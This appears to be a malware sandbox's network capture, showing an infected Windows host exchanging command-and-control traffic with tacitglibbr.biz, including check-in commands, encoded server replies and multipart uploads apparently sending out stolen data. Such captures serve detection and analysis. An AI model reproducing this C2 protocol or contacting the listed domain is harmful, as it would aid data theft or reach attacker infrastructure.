2024-12-16 14:03:22 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c5507dgmjsgjpdlqk26ajin7fu; expires=Fri, 11-Apr-2025 07:50:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cLht7LUYNA466mTgqr%2BLrwnoz4oZyNiKtDlnBFOttzKhB%2B7LQYJW1FguoyDMYwA3COxr8MWQfeICN31ehWLIjHUu0s%2B2jKRRsiPmGTvrPNDwIjIVnvOQmU6dYqxrL8kxykI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f375ef92e1a38-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1825&min_rtt=1821&rtt_var=691&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2280&delivery_rate=1574973&cwnd=220&unsent_bytes=0&cid=3ac72985edec34bb&ts=1899&x=0"
2024-12-16 14:03:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:03:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	50121	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:03:23 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 14:03:23 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=CCE19D1764DF4D48AC8923850305D13E
2024-12-16 14:03:25 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:03:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u1ojt0qtug2v34j1t0o5uqsmeh; expires=Fri, 11-Apr-2025 07:50:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=H9uOT9Ob4Hd9eECZ0kxJCEdSrOjm60gfMDX4g6QWQXJ6ZmVjnYMV%2BBvsltDBHxfe6%2BFD%2FdAZUgRuINNUo4JxgtUe994l%2B9FjjBKiw8og2jlEwm8cUsSzzNZ3F5cKHrnSJLM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3773da657d0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2016&min_rtt=1818&rtt_var=1079&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=981&delivery_rate=856556&cwnd=156&unsent_bytes=0&cid=1188eaa7e1dba86c&ts=1948&x=0"
2024-12-16 14:03:25 UTC	214	IN	Data Raw: 64 30 0d 0a 70 6a 50 54 4d 59 4a 56 64 6c 32 63 75 65 42 44 33 68 31 4c 33 33 4f 64 4a 30 51 44 7a 6f 2f 78 68 6e 5a 42 50 41 75 65 4e 4f 50 39 53 50 46 45 6f 47 39 55 4e 65 6a 4e 6b 48 6d 43 4d 68 66 77 51 71 55 53 61 6a 48 2f 75 74 2b 33 52 33 49 53 4f 71 68 6f 7a 4d 6c 56 74 57 32 74 4d 52 4d 37 73 74 79 59 4a 76 77 78 61 62 6b 48 76 78 31 30 4c 2b 7a 71 30 37 78 47 50 42 42 77 76 45 48 42 6e 42 47 37 52 66 59 6c 54 41 47 7a 35 63 39 79 35 69 68 6c 37 55 4b 6f 43 58 55 79 2f 61 48 41 73 43 70 75 54 33 2f 37 56 59 37 36 48 4b 46 51 37 44 45 5a 4d 4c 4c 63 6d 43 62 38 4d 57 6d 35 42 37 38 64 64 43 2f 73 36 74 4f 38 52 6a 78 68 0d 0a Data Ascii: d0pjPTMYJVdl2cueBD3h1L33OdJ0QDzo/xhnZBPAueNOP9SPFEoG9UNejNkHmCMhfwQqUSajH/ut+3R3ISOqhozMlVtW2tMRM7styYJvwxabkHvx10L+zq07xGPBBwvEHBnBG7RfYlTAGz5c9y5ihl7UKoCXUy/aHAsCpuT3/7VY76HKFQ7DEZMLLcmCb8MWm5B78ddC/s6tO8Rjxh
2024-12-16 14:03:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	50202	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:34 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:04:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:04:34 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h7gbpkopshsg8k70e4qk20npto; expires=Fri, 11-Apr-2025 07:51:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nfqQtVW6kRDW3ypjqVD3DIBXauJHIejaM3FyyivFQd4BEpCCdUg6Vxs2L5lRKwPLftsmxqB0ClFYCpjgSr8U9V%2BFchxLXskV3RQaV%2F78nOP6j3YEuGXvxqxdrDSg7Xf8og8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f392aa8da41ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&min_rtt=1609&rtt_var=616&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=906&delivery_rate=1756919&cwnd=211&unsent_bytes=0&cid=f980e15069161e0e&ts=774&x=0"
2024-12-16 14:04:34 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:04:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	50204	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:36 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 14:04:36 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 14:04:38 UTC	1010	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2fsmch85ot7v6bedsluvhidlvd; expires=Fri, 11-Apr-2025 07:51:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ug6O2%2FPzyOwkHZbZgfM%2Fny05eoUIem4strwqTE1ImDUQeDRzysjgDDhcBZY7k3d0dNYWyJYR6exTO00H4FxLhMnDLHYbWks54YXFD1ynmNOJZZUceCB2ba9XCR9n17QhzQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39371f444249-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1608&rtt_var=626&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1716637&cwnd=230&unsent_bytes=0&cid=ac5115dca62f0d28&ts=2029&x=0"
2024-12-16 14:04:38 UTC	359	IN	Data Raw: 34 64 64 0d 0a 54 74 64 6d 72 54 2f 4c 55 55 77 63 36 31 50 49 57 6d 33 39 35 5a 32 51 59 46 65 4b 42 4a 63 74 45 4b 57 36 4f 35 50 79 7a 54 6f 31 39 52 43 50 42 66 39 39 62 6d 2b 4f 63 66 49 75 48 34 69 41 73 62 49 42 4d 36 67 2b 38 55 78 38 31 74 38 58 73 59 53 67 47 48 53 78 42 38 46 4d 72 6e 31 75 65 5a 4e 78 38 67 45 57 33 34 44 7a 73 6c 70 31 37 32 37 31 54 48 7a 48 32 31 44 38 67 71 46 5a 4a 72 73 42 78 56 71 6f 4e 53 31 77 68 6a 61 74 50 77 79 58 69 2f 54 39 43 44 71 6f 4b 4c 56 49 61 6f 65 41 47 64 36 58 75 56 73 44 74 68 58 47 48 62 5a 39 4e 7a 36 4f 50 65 70 67 54 35 79 41 2f 2f 77 47 4d 2b 46 73 2f 30 56 30 78 74 35 52 34 35 75 72 55 69 61 31 41 73 52 51 6f 53 45 67 65 6f 45 39 71 7a 55 4d 33 38 6d 2f 39 52 70 31 73 43 61 6d 66 58 48 57 79 55 Data Ascii: 4ddTtdmrT/LUUwc61PIWm395Z2QYFeKBJctEKW6O5PyzTo19RCPBf99bm+OcfIuH4iAsbIBM6g+8Ux81t8XsYSgGHSxB8FMrn1ueZNx8gEW34Dzslp17271THzH21D8gqFZJrsBxVqoNS1whjatPwyXi/T9CDqoKLVIaoeAGd6XuVsDthXGHbZ9Nz6OPepgT5yA//wGM+Fs/0V0xt5R45urUia1AsRQoSEgeoE9qzUM38m/9Rp1sCamfXHWyU
2024-12-16 14:04:38 UTC	893	IN	Data Raw: 49 36 72 79 6f 45 6c 6f 72 79 38 67 38 2f 35 32 58 31 53 48 6a 4e 31 31 50 31 6e 61 4a 65 4c 4c 56 45 67 52 32 75 4b 32 34 6d 79 52 4b 76 4b 41 69 54 6b 62 33 49 51 69 71 6d 66 37 56 49 66 6f 65 41 47 66 6d 56 72 46 73 6e 75 67 66 48 56 72 73 7a 50 48 69 45 4e 4c 67 2b 43 70 47 4e 2f 4f 41 49 4f 2b 35 6c 2f 45 52 37 77 74 39 64 73 64 37 76 58 7a 54 31 58 49 39 38 70 44 67 69 64 4a 34 78 36 69 64 42 68 73 66 34 2f 6b 4a 74 71 47 4c 30 53 33 50 44 31 6c 66 31 6e 4b 6c 57 49 62 6f 43 78 56 32 75 4f 53 5a 32 69 44 79 68 4e 77 2b 61 69 76 76 30 44 6a 54 74 4a 72 73 50 64 64 2b 59 41 62 47 2b 71 46 73 2b 39 7a 48 4d 55 36 63 30 4f 44 36 57 66 37 4e 34 43 4a 50 48 70 37 49 4d 4d 4f 64 30 39 46 31 33 79 63 70 56 39 4a 61 69 57 79 4b 31 41 63 68 51 70 7a 55 70 66 Data Ascii: I6ryoElory8g8/52X1SHjN11P1naJeLLVEgR2uK24myRKvKAiTkb3IQiqmf7VIfoeAGfmVrFsnugfHVrszPHiENLg+CpGN/OAIO+5l/ER7wt9dsd7vXzT1XI98pDgidJ4x6idBhsf4/kJtqGL0S3PD1lf1nKlWIboCxV2uOSZ2iDyhNw+aivv0DjTtJrsPdd+YAbG+qFs+9zHMU6c0OD6Wf7N4CJPHp7IMMOd09F13ycpV9JaiWyK1AchQpzUpf
2024-12-16 14:04:38 UTC	1369	IN	Data Raw: 34 34 33 66 0d 0a 7a 30 68 64 49 45 35 71 6a 55 4f 6c 49 2f 35 2f 77 6b 36 35 32 48 39 54 48 37 43 31 56 71 78 33 75 39 66 4e 50 56 63 6a 33 69 6e 4d 44 39 76 79 77 53 70 4e 67 47 59 6b 62 2f 74 54 43 79 6f 59 66 6b 50 4b 6f 66 53 58 76 61 55 6f 6c 49 76 73 51 44 43 55 71 41 36 4a 32 79 44 50 61 51 71 41 70 57 43 38 66 34 48 4f 75 68 6e 39 45 46 34 7a 4a 67 58 73 5a 65 33 47 48 54 31 4b 38 4a 4e 75 7a 6b 6c 62 38 73 45 71 54 59 42 6d 4a 47 2f 37 55 77 73 71 47 48 35 44 79 71 48 30 31 2f 39 6e 4b 39 65 50 72 73 4c 33 56 65 37 4e 79 42 36 68 54 2b 6a 4e 51 43 61 6c 66 76 79 45 44 54 74 59 66 74 43 59 4d 4b 59 46 37 47 58 74 78 68 30 39 54 37 37 57 72 6b 69 4b 54 79 38 4d 71 51 32 43 49 6e 48 34 4c 77 62 64 65 39 71 74 52 63 79 78 4e 52 55 2b 4a 57 67 53 69 Data Ascii: 443fz0hdIE5qjUOlI/5/wk652H9TH7C1Vqx3u9fNPVcj3inMD9vywSpNgGYkb/tTCyoYfkPKofSXvaUolIvsQDCUqA6J2yDPaQqApWC8f4HOuhn9EF4zJgXsZe3GHT1K8JNuzklb8sEqTYBmJG/7UwsqGH5DyqH01/9nK9ePrsL3Ve7NyB6hT+jNQCalfvyEDTtYftCYMKYF7GXtxh09T77WrkiKTy8MqQ2CInH4Lwbde9qtRcyxNRU+JWgSi
2024-12-16 14:04:38 UTC	1369	IN	Data Raw: 56 37 73 32 49 48 71 44 4e 4b 34 30 42 5a 2b 43 37 66 6f 45 4d 75 52 75 38 45 42 30 77 74 56 65 2b 70 4f 39 53 69 2b 78 43 73 4d 64 35 33 4d 70 5a 73 6c 70 36 68 30 59 6e 4a 66 35 38 55 49 71 70 6e 2b 31 53 48 36 48 67 42 6e 78 6e 71 4e 54 4b 37 34 50 79 31 6d 70 50 69 56 77 68 7a 69 6d 4d 41 4f 59 6c 66 4c 33 43 6a 2f 68 59 2f 6c 43 63 64 58 62 57 4c 48 65 37 31 38 30 39 56 79 50 65 70 6f 45 44 54 36 57 66 37 4e 34 43 4a 50 48 70 37 49 44 50 65 39 6f 38 56 31 38 31 64 5a 65 38 5a 61 6e 55 43 75 35 43 73 46 50 6f 54 49 75 63 49 59 35 6f 7a 77 4f 6d 34 50 7a 39 55 4a 37 71 47 48 74 44 79 71 48 38 46 72 72 69 75 31 32 4a 37 55 44 33 30 75 79 63 7a 45 77 6b 48 47 74 4e 45 2f 48 78 2f 76 35 43 44 7a 72 62 2f 46 43 63 73 37 58 55 50 6d 64 70 30 6f 74 76 78 62 Data Ascii: V7s2IHqDNK40BZ+C7foEMuRu8EB0wtVe+pO9Si+xCsMd53MpZslp6h0YnJf58UIqpn+1SH6HgBnxnqNTK74Py1mpPiVwhzimMAOYlfL3Cj/hY/lCcdXbWLHe71809VyPepoEDT6Wf7N4CJPHp7IDPe9o8V181dZe8ZanUCu5CsFPoTIucIY5ozwOm4Pz9UJ7qGHtDyqH8Frriu12J7UD30uyczEwkHGtNE/Hx/v5CDzrb/FCcs7XUPmdp0otvxb
2024-12-16 14:04:38 UTC	1369	IN	Data Raw: 79 52 78 69 6a 6d 6e 4f 77 65 4e 68 2f 4c 79 45 43 66 75 62 66 73 50 50 49 66 66 51 62 48 49 37 32 6b 37 76 6b 54 51 45 37 42 7a 4b 58 4c 4a 61 65 6f 37 42 5a 4b 4a 37 66 59 45 50 75 74 6f 2f 55 70 36 77 39 4a 55 2f 70 75 6c 55 53 53 31 43 38 70 56 6f 6a 55 67 66 34 38 39 70 33 68 42 33 34 44 6e 73 6c 70 31 7a 33 7a 34 53 57 58 57 37 56 37 78 77 65 39 48 59 71 78 45 79 46 48 70 61 32 35 7a 68 54 75 6e 50 51 75 58 67 50 7a 7a 44 6a 48 6c 61 2f 46 47 64 73 4c 4b 53 2f 65 65 72 31 63 69 75 67 6a 64 55 36 77 7a 49 6a 37 48 63 61 30 67 54 38 66 48 7a 75 55 43 64 66 63 6f 37 41 39 31 79 35 67 42 73 5a 2b 69 53 69 43 36 42 4d 35 65 72 54 67 70 65 49 38 77 71 54 30 4d 6d 6f 48 2b 38 67 34 2f 37 32 37 2f 51 58 2f 42 33 46 2f 33 30 4f 45 59 4b 36 31 45 6c 78 32 62 Data Ascii: yRxijmnOweNh/LyECfubfsPPIffQbHI72k7vkTQE7BzKXLJaeo7BZKJ7fYEPuto/Up6w9JU/pulUSS1C8pVojUgf489p3hB34Dnslp1z3z4SWXW7V7xwe9HYqxEyFHpa25zhTunPQuXgPzzDjHla/FGdsLKS/eer1ciugjdU6wzIj7Hca0gT8fHzuUCdfco7A91y5gBsZ+iSiC6BM5erTgpeI8wqT0MmoH+8g4/727/QX/B3F/30OEYK61Elx2b
2024-12-16 14:04:38 UTC	1369	IN	Data Raw: 34 78 70 6a 63 49 6c 34 6a 37 38 67 31 31 70 69 62 79 56 7a 4b 66 6d 48 6e 36 68 6f 35 57 4a 36 64 45 30 42 4f 77 63 79 6c 79 79 57 6e 71 4e 67 61 65 6a 2f 48 2b 43 6a 48 36 5a 76 35 47 66 63 62 58 57 66 4b 52 70 56 41 2b 73 77 54 45 56 61 34 37 4b 6e 43 62 4d 4b 56 34 51 64 2b 41 35 37 4a 61 64 64 6c 77 38 6b 68 39 68 66 46 65 36 70 47 6c 57 79 65 35 52 4e 41 54 73 48 4d 70 63 73 6c 70 36 6a 55 44 6b 6f 50 74 2f 67 49 31 34 57 48 2f 58 58 33 49 31 56 72 78 6c 62 31 5a 50 72 6f 50 79 6c 36 74 50 43 46 79 67 54 76 71 64 6b 2b 59 6e 37 2b 71 51 68 6e 72 64 2f 38 4e 56 64 33 4f 58 76 32 42 70 46 55 67 39 52 75 42 52 4f 6b 30 49 6a 37 52 63 61 6f 35 41 6f 32 43 2f 76 67 49 4f 4f 42 70 38 45 70 39 77 39 78 53 2f 34 4b 68 56 79 79 7a 44 38 35 59 71 6a 67 6b 63 Data Ascii: 4xpjcIl4j78g11pibyVzKfmHn6ho5WJ6dE0BOwcylyyWnqNgaej/H+CjH6Zv5GfcbXWfKRpVA+swTEVa47KnCbMKV4Qd+A57Jaddlw8kh9hfFe6pGlWye5RNATsHMpcslp6jUDkoPt/gI14WH/XX3I1Vrxlb1ZProPyl6tPCFygTvqdk+Yn7+qQhnrd/8NVd3OXv2BpFUg9RuBROk0Ij7Rcao5Ao2C/vgIOOBp8Ep9w9xS/4KhVyyzD85Yqjgkc
2024-12-16 14:04:38 UTC	1369	IN	Data Raw: 38 42 70 71 50 2f 50 63 48 50 2b 52 71 39 45 64 37 7a 64 31 63 39 35 71 73 56 69 4f 30 43 4d 74 55 70 7a 70 75 4d 4d 6b 32 73 6e 68 58 33 37 48 76 39 52 6f 34 2b 43 54 48 54 47 50 57 7a 56 54 68 6c 75 31 33 4c 37 6b 48 79 6c 71 35 63 7a 45 77 6b 48 47 74 4e 45 2f 48 78 2f 2f 32 44 6a 62 76 61 50 70 43 66 63 44 54 56 76 75 65 76 56 63 70 76 51 6a 48 55 4c 73 35 4a 47 79 41 4f 4b 63 32 42 34 32 45 76 37 78 43 4d 76 41 6d 72 51 39 41 7a 64 74 56 35 35 32 67 47 44 50 37 48 59 39 61 70 58 4e 32 50 70 73 6a 71 6a 4d 50 6d 49 6e 74 38 77 6f 36 34 6d 62 7a 52 48 6a 45 30 56 33 2f 6d 61 6c 5a 49 62 51 46 7a 31 69 70 4f 6a 78 7a 79 58 2f 71 50 78 66 66 33 37 2f 46 44 6a 37 5a 5a 65 4d 50 62 59 6e 42 47 66 61 63 37 77 42 73 74 42 62 43 56 61 30 7a 49 33 69 43 4d 4b Data Ascii: 8BpqP/PcHP+Rq9Ed7zd1c95qsViO0CMtUpzpuMMk2snhX37Hv9Ro4+CTHTGPWzVThlu13L7kHylq5czEwkHGtNE/Hx//2DjbvaPpCfcDTVvuevVcpvQjHULs5JGyAOKc2B42Ev7xCMvAmrQ9AzdtV552gGDP7HY9apXN2PpsjqjMPmInt8wo64mbzRHjE0V3/malZIbQFz1ipOjxzyX/qPxff37/FDj7ZZeMPbYnBGfac7wBstBbCVa0zI3iCMK
2024-12-16 14:04:38 UTC	1369	IN	Data Raw: 78 2b 32 79 57 6e 57 76 5a 65 64 64 64 4d 54 4f 57 72 61 75 6b 58 67 6e 6f 77 58 43 56 71 55 4e 45 47 75 4b 50 36 51 2f 47 59 37 48 73 62 49 4e 64 62 42 66 74 51 63 79 2b 4a 59 5a 36 64 44 33 47 42 6d 32 43 73 46 61 76 79 4a 6a 58 6f 49 6e 71 7a 55 45 6b 38 58 2b 2f 78 49 79 71 43 69 31 53 54 4b 66 69 42 65 78 6c 4c 34 59 64 4f 56 57 6c 41 6a 36 5a 48 34 73 6c 6e 2b 7a 65 42 6e 66 33 36 32 38 51 69 65 6f 50 72 55 49 63 64 58 4b 58 2f 4b 47 72 42 38 53 69 79 54 45 55 61 6f 2f 4c 33 6e 4a 66 2b 6f 33 54 38 65 2b 76 2f 45 51 4a 36 64 33 34 30 4a 69 77 4a 52 52 34 4a 32 6a 47 47 4c 31 53 4d 74 57 70 54 59 70 62 73 59 6a 75 6a 4d 44 69 63 76 37 34 45 4a 37 71 48 66 2b 51 47 44 4a 33 78 62 67 68 71 4a 49 4c 37 41 44 67 31 57 34 50 69 49 2b 78 33 47 2f 4d 77 4f Data Ascii: x+2yWnWvZedddMTOWraukXgnowXCVqUNEGuKP6Q/GY7HsbINdbBftQcy+JYZ6dD3GBm2CsFavyJjXoInqzUEk8X+/xIyqCi1STKfiBexlL4YdOVWlAj6ZH4sln+zeBnf3628QieoPrUIcdXKX/KGrB8SiyTEUao/L3nJf+o3T8e+v/EQJ6d340JiwJRR4J2jGGL1SMtWpTYpbsYjujMDicv74EJ7qHf+QGDJ3xbghqJIL7ADg1W4PiI+x3G/MwO
2024-12-16 14:04:38 UTC	1369	IN	Data Raw: 41 56 35 6f 43 72 6b 58 48 7a 4d 7a 6c 36 78 72 2b 45 59 4e 50 56 63 6a 32 69 71 50 53 42 35 6e 79 44 6e 48 67 79 59 67 66 7a 38 46 53 53 6f 4b 4c 56 4a 4d 70 2b 4b 46 37 47 55 76 68 68 30 35 56 61 55 43 50 70 6b 66 69 79 57 66 37 4e 34 47 64 2f 66 72 4c 78 43 4a 36 67 2b 74 51 68 38 79 74 6c 61 2f 35 4f 39 53 69 71 32 45 73 77 61 6c 77 30 4c 63 34 51 30 70 44 38 78 6f 61 62 31 34 67 38 36 37 31 6a 4c 65 47 50 41 79 42 76 58 6b 37 6c 62 62 50 74 45 31 78 33 78 63 77 39 30 6d 54 79 6c 50 30 2f 52 78 2f 75 79 57 6e 58 4e 61 2f 68 4b 66 4d 43 61 65 50 75 41 6f 6c 63 72 39 55 71 50 55 65 6c 72 62 6e 2b 44 49 61 63 33 43 4e 4f 41 35 66 56 43 65 36 68 6f 74 52 63 79 78 74 4a 4a 2f 4a 2b 6f 46 43 71 37 43 6f 39 43 35 79 70 75 61 4d 6c 70 2b 58 5a 50 6a 63 65 6e Data Ascii: AV5oCrkXHzMzl6xr+EYNPVcj2iqPSB5nyDnHgyYgfz8FSSoKLVJMp+KF7GUvhh05VaUCPpkfiyWf7N4Gd/frLxCJ6g+tQh8ytla/5O9Siq2Eswalw0Lc4Q0pD8xoab14g8671jLeGPAyBvXk7lbbPtE1x3xcw90mTylP0/Rx/uyWnXNa/hKfMCaePuAolcr9UqPUelrbn+DIac3CNOA5fVCe6hotRcyxtJJ/J+oFCq7Co9C5ypuaMlp+XZPjcen

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	50215	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:39 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=19RFY88IJ4085 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12829 Host: tacitglibbr.biz
2024-12-16 14:04:39 UTC	12829	OUT	Data Raw: 2d 2d 31 39 52 46 59 38 38 49 4a 34 30 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 39 52 46 59 38 38 49 4a 34 30 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 39 52 46 59 38 38 49 4a 34 30 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 39 52 46 59 38 38 49 4a 34 30 Data Ascii: --19RFY88IJ4085Content-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--19RFY88IJ4085Content-Disposition: form-data; name="pid"2--19RFY88IJ4085Content-Disposition: form-data; name="lid"PsFKDg--pablo--19RFY88IJ40
2024-12-16 14:04:40 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:04:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o47v6ht6k2p5rog3hdsvo3hh2e; expires=Fri, 11-Apr-2025 07:51:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2zsUnNauNC%2BgWdTiWvkxkXKWgmOWH6oyxMmqMFIxvITP5ktuliR5TwFBGzxMNTeED3ZLtF0jzn6L2XWySGIzTr%2FB6IIT09lgNcUubCat8wbjYSaqzKzs1pesO6sTbRfTOTU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f394d3852efa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1883&min_rtt=1846&rtt_var=766&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13763&delivery_rate=1362575&cwnd=140&unsent_bytes=0&cid=9cf992cc616b1899&ts=1025&x=0"
2024-12-16 14:04:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:04:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	50217	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:04:42 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KE0P3R0CAI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15057 Host: tacitglibbr.biz
